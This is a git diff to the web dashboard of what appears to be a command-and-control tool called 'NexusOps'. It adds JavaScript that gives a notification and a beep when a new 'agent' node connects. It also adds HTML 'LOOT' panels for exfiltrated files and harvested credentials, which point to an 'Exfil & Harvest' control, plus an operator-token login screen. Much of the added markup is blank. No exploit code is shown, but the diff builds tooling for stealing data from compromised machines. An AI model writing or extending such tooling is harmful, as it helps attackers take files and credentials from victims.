+function checkForNewNodes() {
+ nodesData.forEach(node => {
+ if (!knownNodeIds.has(node.id) && node.status === 'online') {
+ knownNodeIds.add(node.id);
+ // Browser notification
+ if (Notification.permission === 'granted') {
+ new Notification('🖥️ New Agent Connected', {
+ body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
+ icon: '/favicon.ico'
+ });
+ }
+ // Audio ping
+ try {
+ const ctx = new (window.AudioContext || window.webkitAudioContext)();
+ const osc = ctx.createOscillator();
+ const gain = ctx.createGain();
+ osc.connect(gain); gain.connect(ctx.destination);
+ osc.frequency.setValueAtTime(880, ctx.currentTime);
+ osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
+ gain.gain.setValueAtTime(0.3, ctx.currentTime);
+ gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
+ osc.start(ctx.currentTime);
+ osc.stop(ctx.currentTime + 0.3);
+ } catch(e) {}
+ }
+ });
+ // Also mark offline nodes
+ nodesData.forEach(node => knownNodeIds.add(node.id));
+}
+
+// Request notification permission on first interaction
+document.addEventListener('click', () => {
+ if (Notification.permission === 'default') Notification.requestPermission();
+}, { once: true });
diff --git a/public/index.html b/public/index.html
index 47ec8f6..b4237b5 100644
--- a/public/index.html
+++ b/public/index.html
@@ -198,6 +198,23 @@
+
+
+
+
+
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
+
+
+
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
+
+
+
@@ -493,6 +510,27 @@
-
+
+
+
+
+
+
+
+
+
+
+
NexusOps Access
+
Enter your operator token to continue.
+
+
+
Invalid token — try again.
+
+
+
+
+
+
![preview]()
+